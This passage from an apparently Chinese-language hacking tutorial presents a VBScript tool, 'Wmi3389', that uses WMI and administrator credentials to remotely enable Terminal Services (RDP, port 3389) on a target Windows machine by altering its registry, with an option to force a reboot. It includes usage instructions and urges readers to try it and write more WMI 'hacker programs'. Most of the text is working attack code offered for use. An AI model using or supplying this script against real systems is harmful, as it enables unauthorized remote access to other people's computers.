strKeyPath = "SOFTWARE\Policies\Microsoft\Windows\Installer"
strValueName = "EnableAdminTSRemote"
strValue=1
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
strValueName = "TSEnabled"
strValue=1
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
strKeyPath = "SYSTEM\CurrentControlSet\Services\TermDD"
strValueName = "Start"
strValue=2
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
strKeyPath = "SYSTEM\CurrentControlSet\Services\TermService"
strValueName = "Start"
strValue=2
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
strKeyPath = ".DEFAULT\Keyboard Layout\Toggle"
strValueName = "Hotkey"
strValue=1
oReg.SetDWORDValue HKEY_USERS,strKeyPath,strValueName,strValue
//下面实现重启远程机器
if option="/r" then
outstreem.write "Now, rebooting target."
strwmiquery="select * from win32_operatingsystem where primary='true'"
set colinstances=objswbemservices.execquery(strwmiquery)
for each objinstance in colinstances
objinstance.win32shutdown(2)
end if
outstreem.write "Ok, rebooted the target."
//简单的用法说明的函数。
function usage()
wscript.echo string(60,"=")
wscript.echo "Wmi3389 v1.0.0"
wscript.echo "No ipc Open 3389, code written by pye."
wscript.echo "Welcome to visite www.coon.cn or Mail to grandh4408@yahoo.com.cn"
wscript.echo "Usage:"
wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [/r]"
wscript.echo "/r reboot the target this is optional"
wscript.echo "It use WMI to Open 3389 of target server."
wscript.echo string(60,"=")&vbcrlf
end function
将上面的代码复制带记事本里,保存为Wmi3389.vbs。然后在CMD里执行:
cscript Wmi3389.vbs ipaddress administrator password [/r]
看看是不是和ROTS.vbs有一样的效果啊?大家赶快实践实践吧。
四:最后的唠叨
=====================================================================================
大家可以看出WMI的功能是很强大的,这里要感谢MicroSoft了,它是永远都不会让我们失望的。WMI对象允许通过VB,VBA,WSH, VBScript, JScript,ASP,或是支持自动对象的其它环境,对WMI进行完全访问。在参考查询体系中加入 WMI Scripting V1.1 Library ,则Visual Basic或是VBA方案就可以访问这些对象了。支持ActiveX程序的操作平台可以通过对象类的代号,或是类的名称创建这些对象,这些对象的前缀是WbemScripting,如 WbemScripting.SwbemLocator。所以大家有兴趣的完全可以利用VB,WSH,VBScript, JScript,ASP等编写更多的利用WMI的黑客程序。